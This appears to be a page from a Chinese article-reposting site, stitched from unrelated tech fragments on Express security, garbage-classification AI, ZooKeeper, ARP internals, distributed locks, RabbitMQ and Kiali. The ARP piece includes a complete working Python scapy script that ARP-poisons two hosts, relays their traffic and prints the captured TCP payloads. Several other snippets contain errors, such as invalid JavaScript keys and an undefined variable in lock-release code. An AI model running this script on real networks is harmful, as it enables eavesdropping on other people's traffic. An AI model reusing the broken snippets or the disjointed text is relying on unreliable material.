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...由的模块 // 启动服务器 const port = 3000; app.listen(port, () => { console.log(Server is running on http://localhost:${port}); }); 三、实现基本的安全措施 1. Content Security Policy (CSP) 使用Helmet中间件，我们能够轻松地启用CSP以限制加载源，防止跨站脚本攻击(XSS)等恶意行为。在配置中添加自定义CSP策略： javascript app.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'unsafe-inline'"], styleSrc: ["'self'", "'unsafe-inline'"], imgSrc: ["'self'", 'data:', "https:"], fontSrc: ["'self'", "https:"], connect-src: ["'self'", "https:"] } })); 2. CORS策略 我们之前已经设置了允许跨域访问，但为了确保安全，可以根据需求调整允许的源： javascript app.use(cors({ origin: ['http://example.com', 'https://other-site.com'], // 允许来自这两个域名的跨域访问 credentials: true, // 如果需要发送cookies，请开启此选项 exposedHeaders: ['X-Custom-Header'] // 可以暴露特定的自定义头部给客户端 })); 3. 防止CSRF攻击 在处理POST、PUT等涉及用户数据变更的操作时，可以考虑集成csurf中间件以验证跨站点请求伪造(CSRF)令牌： bash $ npm install csurf javascript const csurf = require('csurf'); // 配置CSRF保护 const csrf = csurf(); app.use(csurf({ cookie: true })); // 将CSRF令牌存储到cookie中 // 处理登录API POST请求 app.post('/login', csrf(), (req, res) => { const { email, password, _csrfToken } = req.body; // 注意获取CSRF token if (validateCredentials(email, password)) { // 登录成功 } else { res.status(401).json({ error: 'Invalid credentials' }); } }); 四、总结与展望 在使用Express进行API开发时，确保安全性至关重要。通过合理的CSP、CORS策略、CSRF防护以及利用其他如JWT（Json Web Tokens）的身份验证方法，我们的API不仅能更好地服务于前端应用，还能有效地抵御各类常见的网络攻击，确保数据传输的安全性。 当然，随着业务的发展和技术的进步，我们会面临更多安全挑战和新的解决方案。Node.js和它身后的生态系统，最厉害的地方就是够灵活、够扩展。这就意味着，无论我们面对多复杂的场景，总能像哆啦A梦找百宝箱一样，轻松找到适合的工具和方法来应对。所以，对咱们这些API开发者来说，要想把Web服务做得既安全又牛逼，就得不断学习、紧跟技术潮流，时刻关注行业的新鲜动态。这样一来，咱就能打造出更棒、更靠谱的Web服务啦！

...，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 文章目录 AI垃圾分类 产品描述 垃圾分类-数据分析和预处理 代码结构 resnext101网络架构 垃圾分类-训练 垃圾分类-评估 垃圾分类-在线预测 1. 你是什么垃圾？ 2. 告诉你，你是什么垃圾 3. 使用它告诉你，你是啥垃圾 AI垃圾分类 产品描述 如何进行垃圾分类已经成为居民生活的灵魂拷问，然而AI在垃圾分类的应用可以成为居民的得力助手。 针对目前业务需求，我们设计一款APP，来支撑我们的业务需求，主要提供文本，语音，图片分类功能。AI智能垃圾分类主要通过构建基于深度学习技术的图像分类模型，实现垃圾图片类别的精准识别重点处理图片分类问题。 采用深圳市垃圾分类标准，输出该物品属于可回收物、厨余垃圾、有害垃圾和其他垃圾分类。 垃圾分类-数据分析和预处理 整体数据探测 分析数据不同类别分布 分析图片长宽比例分布 切分数据集和验证集 数据可视化展示（可视化工具 pyecharts,seaborn,matplotlib) 代码结构 ├── data│ ├── garbage-classify-for-pytorch│ │ ├── train│ │ ├── train.txt│ │ ├── val│ │ └── val.txt│ └── garbage_label.txt├── analyzer│ ├── 01 垃圾分类_一级分类 数据分布.ipynb│ ├── 02 垃圾分类_二级分类 数据分析.ipynb│ ├── 03 数据加载以及可视化.ipynb│ ├── 03 数据预处理-缩放&裁剪&标准化.ipynb│ ├── garbage_label_40 标签生成.ipynb├── models│ ├── alexnet.py│ ├── densenet.py│ ├── inception.py│ ├── resnet.py│ ├── squeezenet.py│ └── vgg.py├── facebook│ ├── app_resnext101_WSL.py│ ├── facebookresearch_WSL-Images_resnext.ipynb│ ├── ResNeXt101_pre_trained_model.ipynb├── checkpoint│ ├── checkpoint.pth.tar│ ├── garbage_resnext101_model_9_9547_9588.pth├── utils│ ├── eval.py│ ├── json_utils.py│ ├── logger.py│ ├── misc.py│ └── utils.py├── args.py├── model.py├── transform.py├── garbage-classification-using-pytorch.py├── app_garbage.py data: 训练数据和验证数据、标签数据 checkpoint: 日志数据、模型文件、训练过程checkpoint中间数据 app_garbage.py：在线预测服务 garbage-classification-using-pytorch.py：训练模型 models：提供各种pre_trained_model ,例如：alexlet、densenet、resnet，resnext等 utils:提供各种工具类，例如；重新flask json 格式，日志工具类、效果评估 facebook: 提供facebook 分类器神奇的分类预测和数据预处理 analyzer: 数据分析和数据预处理模块 transform.py：通过pytorch 进行数据预处理 model.py: resnext101 模型集成以及调整、模型训练和验证函数封装 resnext101网络架构 pre_trained_model resnext101 网络架构原理 基于pytorch 数据处理、resnext101 模型分类预测 在线服务API 接口 垃圾分类-训练 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--lr 0.001 \--optimizer adam \--start_epoch 1 \--epochs 10 \--num_classes 40 model_name 模型名称 lr 学习率 optimizer 优化器 start_epoch 训练过程断点重新训练 num_classes 分类个数 垃圾分类-评估 python garbage-classification-using-pytorch.py \--model_name resnext101_32x16d \--evaluate \--resume checkpoint/checkpoint.pth.tar \--num_classes 40 model_name 模型名称 evaluate 模型评估 resume 指定checkpoint 文件路径，保存模型以及训练过程参数 垃圾分类-在线预测 python app_garbage.py \--model_name resnext101_32x16d \--resume checkpoint/garbage_resnext101_model_2_1111_4211.pth model_name 模型名称 resume 训练模型文件路径 模型预测 命令行验证和postman 方式验证 举例说明：命令行模式下预测 curl -X POST -F file=@cat.jpg http://ip:port/predict 最后，我们从0到1教大家掌握如何进行垃圾分类。通过本学习，让你彻底掌握AI图像分类技术在我们实际工作中的应用。 1. 你是什么垃圾？ 2. 告诉你，你是什么垃圾 3. 使用它告诉你，你是啥垃圾 本篇文章为转载内容。原文链接：https://blog.csdn.net/shenfuli/article/details/103008003。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...分布式的、开源的协调服务，主要用于维护配置信息、命名、提供分布式同步以及提供组服务。它用一种像文件系统一样的数据模型来存东西和管事情，这样子搞起来特别顺手，处理分布式环境下那些乱七八糟的任务也不在话下。 3. ZooKeeper的核心概念 在深入探讨具体的应用之前，先来了解一下ZooKeeper的一些核心概念： - 节点（Node）：在ZooKeeper中，数据是按照路径结构存储的，这些路径就是所谓的节点。节点可以分为四种类型：持久节点、临时节点、顺序节点和临时顺序节点。 - Watcher机制：Watcher是一种事件监听机制，当某个节点的状态发生改变时，会触发相应的事件。这种机制非常适合用于监控某些关键节点的变化。 - ACL（Access Control List）：为了保证数据的安全性，ZooKeeper提供了访问控制列表，用于限制对特定节点的访问权限。 4. 实践案例一 分布式锁 让我们从一个最常见但也非常实用的例子开始——分布式锁。在分布式系统里，经常会发生好几个程序或者线程抢着要用同一个资源的热闹场面。这时，就需要一个可靠的分布式锁来确保资源的正确使用。 4.1 分布式锁的实现 java import org.apache.zookeeper.CreateMode; import org.apache.zookeeper.ZooDefs; import org.apache.zookeeper.ZooKeeper; public class DistributedLock { private ZooKeeper zookeeper; private String lockPath; public DistributedLock(ZooKeeper zookeeper, String lockPath) { this.zookeeper = zookeeper; this.lockPath = lockPath; } public void acquireLock() throws Exception { // 创建临时顺序节点 String lockNode = zookeeper.create(lockPath + "/lock-", new byte[0], ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.EPHEMERAL_SEQUENTIAL); System.out.println("Created lock node: " + lockNode); // 获取所有子节点并排序 List children = zookeeper.getChildren(lockPath, false); Collections.sort(children); // 检查是否为最小节点，如果是则获取锁 if (children.get(0).equals(lockNode.substring(lockPath.length() + 1))) { System.out.println("Acquired lock"); return; } // 否则，等待前一个节点释放锁 String previousNode = children.get(Collections.binarySearch(children, lockNode.substring(lockPath.length() + 1)) - 1); System.out.println("Waiting for lock node: " + previousNode); zookeeper.exists(lockPath + "/" + previousNode, true); } public void releaseLock() throws Exception { // 删除临时节点 zookeeper.delete(lockPath + "/" + lockNode.substring(lockPath.length() + 1), -1); } } 这个简单的实现展示了如何使用ZooKeeper来创建临时顺序节点，并通过监听前一个节点的状态变化来实现分布式锁的功能。在这过程中，我们不仅学会了怎么用ZooKeeper的基本功能，还感受到了它在实际操作中到底有多牛掰。 5. 实践案例二 配置中心 接下来，我们来看看另一个常见的应用场景——配置中心。在大型系统中，配置管理往往是一项繁琐而重要的工作。而ZooKeeper正好为我们提供了一个理想的解决方案。 5.1 配置中心的实现 假设我们有一个配置文件，其中包含了一些关键的配置信息，例如数据库连接字符串、日志级别等。我们可以把配置信息存到ZooKeeper里，然后用监听器让各个节点实时更新，这样就省心多了。 java import org.apache.zookeeper.WatchedEvent; import org.apache.zookeeper.Watcher; import org.apache.zookeeper.ZooKeeper; public class ConfigCenter implements Watcher { private ZooKeeper zookeeper; private String configPath; public ConfigCenter(ZooKeeper zookeeper, String configPath) { this.zookeeper = zookeeper; this.configPath = configPath; } public void start() throws Exception { // 监听配置节点 zookeeper.exists(configPath, this); } @Override public void process(WatchedEvent event) { if (event.getType() == Event.EventType.NodeDataChanged) { try { byte[] data = zookeeper.getData(configPath, this, null); String config = new String(data, "UTF-8"); System.out.println("New configuration: " + config); } catch (Exception e) { e.printStackTrace(); } } } } 这段代码展示了如何创建一个配置中心，通过监听配置节点的变化来实时更新配置信息。这种机制不仅提高了系统的灵活性，也大大简化了配置管理的工作量。 6. 总结与展望 通过上面两个具体的案例，我们看到了ZooKeeper在实际项目中的广泛应用。无论是分布式锁还是配置中心，ZooKeeper都能为我们提供稳定可靠的支持。当然，ZooKeeper还有许多其他强大的功能等待我们去发掘。希望大家在今后的工作中也能多多尝试使用ZooKeeper，相信它一定能给我们的开发带来意想不到的帮助！ --- 希望这篇文章能让你对ZooKeeper有更深刻的理解，并激发你进一步探索的兴趣。如果你有任何问题或者想了解更多细节，请随时留言交流！

...，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址，转换为MAC地址，类似操作系统中的MMU（内存管理单元），将虚拟地址，转换为物理地址。 其中邻居子系统相当于地址解析协议（IPv4的ARP协议，IPv6的ND(Neighbor discover)协议）的一个通用抽象，可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系，当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init，其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数，来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求，但是还未收到响应。如果经过一段时间后，还是没有收到响应，则查看发送请求数是否超过上限，如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间，未有到达目标的数据包，则转为NUD_STALE状态 NUD_STALE 在此状态，如果有用户准备发送数据，则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器，然后接受可到达确认，如果定时器过期之前，收到可到达确认，则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态，准备删除该neighbour 各种状态之间的切换，也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包，且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包，则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包，则分neighbour的状态进行讨论，但是通过分析发现，不论当前neighbour是处于何种状态（NUD_FAILD、NUD_NONE除外），则都会将状态切换成 NUD_STALE状态，且mac地址不相同时，则会切换到本次发送方的mac地址 当为ARP请求数据包，不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour，则不做任何处理。如果该neighbour存在，则将状态切换为NUD_REACHABLE，MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析，可以向受害主机A发送ARP请求数据包，其中请求包中将源IP地址，设置成为受害主机B的IP地址，这样，就会将主机A中的B的 MAC缓存，切换为我们的MAC地址。 同理，向B中发送ARP请求包，其中源IP地址为A的地址 然后，我们进行ARP数据包与IP数据包的中转，从而达到中间人攻击。 使用Python scapy包，实现中间人攻击： 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

1. 引言 在微服务架构中，SpringCloud作为一款强大的微服务框架，为我们提供了诸如服务治理、配置中心等一系列功能。其实呢，分布式锁就像是多服务之间防止“打架”、保持秩序的关键道具。不过呐，在实际用起来的时候，它可能时不时会闹点小情绪，比如出现死锁啊，或者状态不同步的情况，这就像是给系统的稳定性和一致性出了一道不大不小的难题，让人头疼不已。本文将深入探讨这一问题，并通过实例代码展示如何在SpringCloud中有效地避免和处理此类问题。 2. 分布式锁与死锁概念解析 在分布式系统环境下，由于服务间的独立运行，共享资源的竞争需要借助于分布式锁来协调。例如，我们可能使用SpringCloud的组件如Redisson实现一个基于Redis的分布式锁： java @Autowired private RedissonClient redissonClient; public void processSharedResource() { RLock lock = redissonClient.getLock("resourceLock"); try { lock.lock(); // 处理共享资源的逻辑 } finally { lock.unlock(); } } 然而，如果多个服务同时持有不同的锁并尝试获取对方持有的锁时，就可能出现死锁现象，导致系统陷入停滞状态。这就如同多个人互相等待对方手里的钥匙才能前进，形成了一个僵局。 3. 分布式锁死锁与状态不一致的现象及原因 当多个服务在获取分布式锁的顺序上出现循环依赖时，就会形成死锁状态。就拿服务A和B来说吧，想象一下这个场景：服务A手头正捏着锁L1呢，突然它又眼巴巴地瞅着想拿到L2；巧了不是，同一时间，服务B那儿正握着L2，心里也琢磨着要解锁L1。这下好了，俩家伙都卡住了，谁也动弹不得，于是乎，状态一致性就这么被它们给整得乱七八糟了。 4. 解决策略与实践示例 （1）预防死锁：在设计分布式锁的使用场景时，应尽量避免产生循环依赖。比如，我们可以通过一种大家都得遵守的全球统一锁排序规矩，或者在支持公平锁的工具里，比如Zookeeper这种分布式锁实现中，选择使用公平锁。这样一来，大家抢锁的时候就能按照一个既定的顺序来，保证了获取锁的公平有序。 java // 假设我们有一个全局唯一的锁ID生成器 String lockId1 = generateUniqueLockId("ServiceA", "Resource1"); String lockId2 = generateUniqueLockId("ServiceB", "Resource2"); // 获取锁按照全局排序规则 RLock lock1 = redissonClient.getFairLock(lockId1); RLock lock2 = redissonClient.getFairLock(lockId2); （2）超时与重试机制：为获取锁的操作设置合理的超时时间，一旦超时则释放已获得的锁并重新尝试，可以有效防止死锁长期存在。 java if (lock.tryLock(10, TimeUnit.SECONDS)) { try { // 处理业务逻辑 } finally { lock.unlock(); } } else { log.warn("Failed to acquire the lock within the timeout, will retry later..."); // 重新尝试或其他补偿措施 } （3）死锁检测与解除：某些高级的分布式锁实现，如Redlock算法，提供了内置的死锁检测和自动解锁机制，能够及时发现并解开死锁，从而保障系统的一致性。 5. 结语 在运用SpringCloud构建分布式系统的过程中，理解并妥善处理分布式锁的死锁问题以及由此引发的状态不一致问题是至关重要的。经过对这些策略的认真学习和动手实践，我们就能更溜地掌握分布式锁，确保不同服务之间能够既麻利又安全地协同工作，就像一个默契十足的团队一样。虽然技术难题时不时会让人头疼得抓狂，但正是这些挑战，让我们在攻克它们的过程中，技术水平像打怪升级一样蹭蹭提升。同时，对分布式系统的搭建和运维也有了越来越深入、接地气的理解，就像亲手种下一棵树，慢慢了解它的根茎叶脉一样。让我们共同面对挑战，让SpringCloud发挥出它应有的强大效能！

...哒！到时候，用咱们的服务就跟喝着冰镇可乐一样爽，那叫一个舒坦啊！哎呀，你知道不？就像咱们平时用的工具箱里又添了把更厉害的瑞士军刀，那就是Apache Drill这样的新技术。这玩意儿一出现，Hive这个大数据分析的家伙就更牛了，能干的事情更多，效率也更高，就像开挂了一样。它现在不仅能快如闪电地处理数据，还能像变魔术一样，根据我们的需求变出各种各样的分析结果。这下子，咱们做数据分析的时候，可就轻松多了！ --- 本文旨在探讨Hive如何通过并行计算能力提升数据处理效率，通过具体实例展示了如何优化Hive查询性能，并分享了实践经验。希望这些内容能对您在大数据分析领域的工作提供一定的启发和帮助。

...，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 1、下载第三方扩展库 filterbuilder.jar htmllexer.jar htmlparser.jar jsoup-1.9.2.jar junit.jar sax2.jar thumbelina.jar 2、执行以下方法 package com.zgs.look;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.InputStreamReader;import java.util.HashMap;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import org.htmlparser.Node;import org.htmlparser.NodeFilter;import org.htmlparser.Parser;import org.htmlparser.filters.NodeClassFilter;import org.htmlparser.filters.OrFilter;import org.htmlparser.tags.LinkTag;import org.htmlparser.tags.TableTag;import org.htmlparser.util.NodeList;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.nodes.Element;import org.jsoup.select.Elements;public class HtmlLook {private static String ENCODE = "UTF-8";public static void main(String[] args) {String szContent = openFile( "d:/index.html");try {Document doc = Jsoup.parse(szContent);Elements elList=doc.getElementsByAttributeValue("id","vulDataTable");szContent=elList.outerHtml();Parser parser = Parser.createParser(szContent, ENCODE);NodeFilter[] filters = new NodeFilter[2];filters[0] = new NodeClassFilter(TableTag.class); filters[1] = new NodeClassFilter(LinkTag.class);NodeFilter filter =new OrFilter (filters);NodeList list = parser.extractAllNodesThatMatch(filter);String ldName="";String ldJianjie="";for (int i = 0; i < list.size(); i++) { Node node = list.elementAt(i); if(node instanceof LinkTag){String nodeHtml=node.toHtml();if(nodeHtml.contains("onclick")&&nodeHtml.contains("vul-")){if(!"".equals(ldName)&&!"".equals(ldJianjie)){//提交数据System.out.println("---commit---漏洞名称-------"+ldName);System.out.println("---commit---漏洞简介-------"+ldJianjie);ldName="";ldJianjie="";}String level="";if(nodeHtml.contains("vul-vh")){level="高危漏洞";}else if(nodeHtml.contains("vul-vm")){level="中危漏洞";}else if(nodeHtml.contains("vul-vl")){level="低危漏洞";}ldName=getLinkTagContent(nodeHtml)+"-----"+level+"------";// System.out.println("---漏洞名称-----"+getLinkTagContent(nodeHtml)+"-----"+level+"------");} }else{ldJianjie=getTableTagContent(node.toHtml());} } } catch (Exception e) {e.printStackTrace();} }/ 提取文件里面的文本信息 @param szFileName @return/public static String openFile(String szFileName) {try {BufferedReader bis = new BufferedReader(new InputStreamReader(new FileInputStream(new File(szFileName)), ENCODE));String szContent = "";String szTemp;while ((szTemp = bis.readLine()) != null) {szContent += szTemp + "\n";}bis.close();return szContent;} catch (Exception e) {return "";} }/ 提取标签<a>a</a>内的内容 return a;/public static String getLinkTagContent(String link){String content="";Pattern pattern = Pattern.compile("<a[^>]>(.?)</a>");Matcher matcher = pattern.matcher(link);if(matcher.find()){content=matcher.group(1);}return content;}/ 解析Table标签内的东西 @param table/public static String getTableTagContent(String table){Map<String,String> conMap=new HashMap<String,String>();String content="";Document doc = Jsoup.parse(table);Elements elList=doc.getElementsByAttributeValue("class","cmn_table plumb");Element el=elList.first();Elements trLists = el.select("tr");for (int i = 0; i < trLists.size(); i++) {Elements tds = trLists.get(i).select("td");String key="";String val="";for (int j = 0; j < tds.size(); j++) {String text = tds.get(j).text();if(j==0){key=text; }else{val=text; } }conMap.put(key, val);content+="|"+key+"-"+val;// System.out.println(key+"-"+val);}return content;} } 本篇文章为转载内容。原文链接：https://blog.csdn.net/zhaoguoshuai91/article/details/51802116。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...tMQ进行项目的后端服务调用。在此之前，我对RabbitMQ的理解还停留在简单的消息队列框架上。但随着深入学习，我发现RabbitMQ远不止于此。 首先，让我们来了解一下什么是RabbitMQ。简单来说，RabbitMQ就像是一个超级能干的邮差大哥，它是一款开源的消息传递中间件。它的大作用呢，就是为大家搭建起一个又稳又快的消息传输通道，让信息传递既可靠又高效，就像你和朋友之间默契十足的秘密信使一样。这不仅包括将消息从生产者发送到消费者，还包括将消息存储在队列中以便稍后处理。 那么，为什么我们需要使用RabbitMQ来进行异步通信呢？原因有很多。首先，想象一下这样的情形：异步通信就像是在一条超级市场收银台前，顾客（生产者）可以一边继续往购物车里装商品，而收银员（消费者）呢，同时给其他已经装好商品的顾客结账。这样一来，大家都不用干等着对方，都能各自忙活起来，从而大大提高整个超市的工作效率，也就是咱们说的系统的吞吐量啦。其次，这个家伙的一大优点就是它能更好地处理错误情况。想象一下，哪怕某个消费者遇到了问题，其他的消费者也不会受到任何影响，依然可以正常工作，互不影响，就像大家在各自的岗位上各司其职，出了小差错也能及时补救，完全不会打扰到其他人。最后呢，它还能帮我们把任务打理得井井有条。具体咋办嘞？就是能把一个大任务拆解成多个小步骤，然后把这些小步骤分配给不同的小伙伴去完成，这样一来，大家各司其职，效率自然就嗖嗖地往上涨啦！ 那么，我们应该如何使用RabbitMQ进行异步通信呢？ 第一步，我们需要创建一个生产者。生产者的主要任务是向RabbitMQ发送消息。以下是一个简单的Python示例： python import pika 创建连接 connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() 声明一个交换器和一个队列 channel.exchange_declare(exchange='hello', type='direct') channel.queue_declare(queue='hello') 将消息发布到队列中 message = "Hello World!" channel.basic_publish(exchange='hello', routing_key='hello', body=message) print(" [x] Sent 'Hello World!'") 关闭连接 connection.close() 第二步，我们需要创建一个消费者。消费者的主要任务是从RabbitMQ接收并处理消息。以下也是一个简单的Python示例： python import pika 创建连接 connection = pika.BlockingConnection(pika.ConnectionParameters('localhost')) channel = connection.channel() 声明一个队列 channel.queue_declare(queue='hello') 消费消息 def callback(ch, method, properties, body): print(" [x] Received %r" % (body,)) channel.basic_consume(queue='hello', on_message_callback=callback, auto_ack=True) print(' [] Waiting for messages. To exit press CTRL+C') channel.start_consuming() 这就是基本的RabbitMQ使用流程。但是，RabbitMQ的强大之处在于其丰富的特性和配置选项。比如说，你完全可以借助RabbitMQ的路由规则和过滤器这一强大功能，像是指挥官调配兵力那样，灵活地把控消息的发送路径；同时呢，还能利用RabbitMQ提供的持久化特性，确保你的每一条消息都像被牢牢焊在传输带上一样，绝对可靠，永不丢失。等等这些骚操作，都是RabbitMQ的拿手好戏。 总的来说，我认为RabbitMQ是一种非常强大且灵活的消息代理服务器，非常适合用于大规模的分布式系统。虽然刚开始你可能得花些时间去摸透和掌握它，但我打包票，一旦你真正掌握了，你绝对会发现，这玩意儿简直就是你在开发工作中的左膀右臂，离了它，你可能都玩不转了！

...的基石。哎呀，随着微服务的复杂度越来越高，咱们在使用Kubernetes集群时，就像在大海里捞针一样，想要有效地监控和管理它，简直就成了一个大难题。就像是在森林里找宝藏，你得有眼力劲儿，还得有点儿冒险精神，才能找到那把开启成功之门的钥匙。这事儿，可真不是闹着玩的！这里，我们将深入探讨Kubernetes与Kiali的结合，如何通过可视化手段提升系统的可管理性与洞察力。 二、Kubernetes基础概览 Kubernetes（简称K8s）是一个开源的容器编排系统，它允许开发者和系统管理员自动部署、扩展和管理应用程序容器。Kubernetes的核心组件包括： - Pod：一组运行相同或不同应用容器的集合。 - Namespace：用于隔离资源并提供命名空间内的逻辑分组。 - Service：为Pod提供网络访问服务。 - Deployment：用于创建和更新Pod的副本集。 - StatefulSet：用于创建具有唯一身份标识的Pod集合。 - Ingress：提供外部对应用的访问入口。 三、Kiali的引入 Kiali是Kubernetes可视化监控和管理的一个重要工具，它通过图形界面提供了丰富的功能，包括服务发现、流量管理、健康检查、故障恢复策略等。哎呀，Kiali这个家伙可真能帮大忙了！它就像个超级厉害的侦探，能一眼看出你应用和服务到底是活蹦乱跳还是生病了。而且，它还有一套神奇的魔法，能把那些复杂的运维工作变得简单又快捷，就像是给你的工作流程装上了加速器，让你的效率噌噌噌往上涨。简直不能更贴心了！ 四、Kubernetes与Kiali的集成 要将Kubernetes与Kiali整合，首先需要确保你的环境中已经部署了Kubernetes集群，并且安装了Kiali。接下来，通过以下步骤实现集成： 1. 配置Kiali bash kubectl apply -f https://kiali.io/install/kiali-operator.yaml 2. 验证Kiali安装 bash kubectl get pods -n kiali-system 应该能看到Kiali相关的Pod正在运行。 3. 访问Kiali UI bash kubectl port-forward svc/kiali 8080:8080 & 然后在浏览器中访问http://localhost:8080，即可进入Kiali控制台。 五、利用Kiali进行可视化监控 在Kiali中，你可以轻松地完成以下操作： - 服务发现：通过服务名或标签快速定位服务实例。 - 流量分析：查看服务之间的调用关系和流量流向。 - 健康检查：监控服务的健康状态，包括响应时间、错误率等指标。 - 故障恢复：配置故障转移策略，确保服务的高可用性。 六、案例分析 构建一个简单的微服务应用 假设我们有一个简单的微服务应用，包含一个后端服务和一个前端服务。我们将使用Kubernetes和Kiali来部署和监控这个应用。 yaml apiVersion: apps/v1 kind: Deployment metadata: name: backend-service spec: replicas: 3 selector: matchLabels: app: backend template: metadata: labels: app: backend spec: containers: - name: backend-container image: myregistry/mybackend:v1 ports: - containerPort: 8080 --- apiVersion: v1 kind: Service metadata: name: backend-service spec: selector: app: backend ports: - protocol: TCP port: 80 targetPort: 8080 在Kiali中，我们可以直观地看到这些服务是如何相互依赖的，以及它们的健康状况如何。 七、结论 Kubernetes与Kiali的结合，不仅极大地简化了Kubernetes集群的管理，还提供了丰富的可视化工具，使运维人员能够更加直观、高效地监控和操作集群。通过本文的介绍，我们了解到如何通过Kubernetes的基础配置、Kiali的安装与集成，以及实际应用的案例，实现对复杂微服务环境的有效管理和监控。随着云原生技术的不断发展，Kubernetes与Kiali的组合将继续发挥其在现代应用开发和运维中的核心作用，助力企业构建更可靠、更高效的云原生应用。

...我们更好地升级产品和服务。 当然，实际操作中可能会遇到各种问题和挑战，但只要保持耐心，不断实践和探索，相信你一定能够掌握这项技能。希望这篇教程能对你有所帮助，如果你有任何疑问或者建议，欢迎随时留言交流！ --- 好了，朋友们，今天的分享就到这里。希望你能从中获得灵感，开始你的Elasticsearch之旅。记住，技术的力量在于应用，让我们一起用它来创造更美好的世界吧！

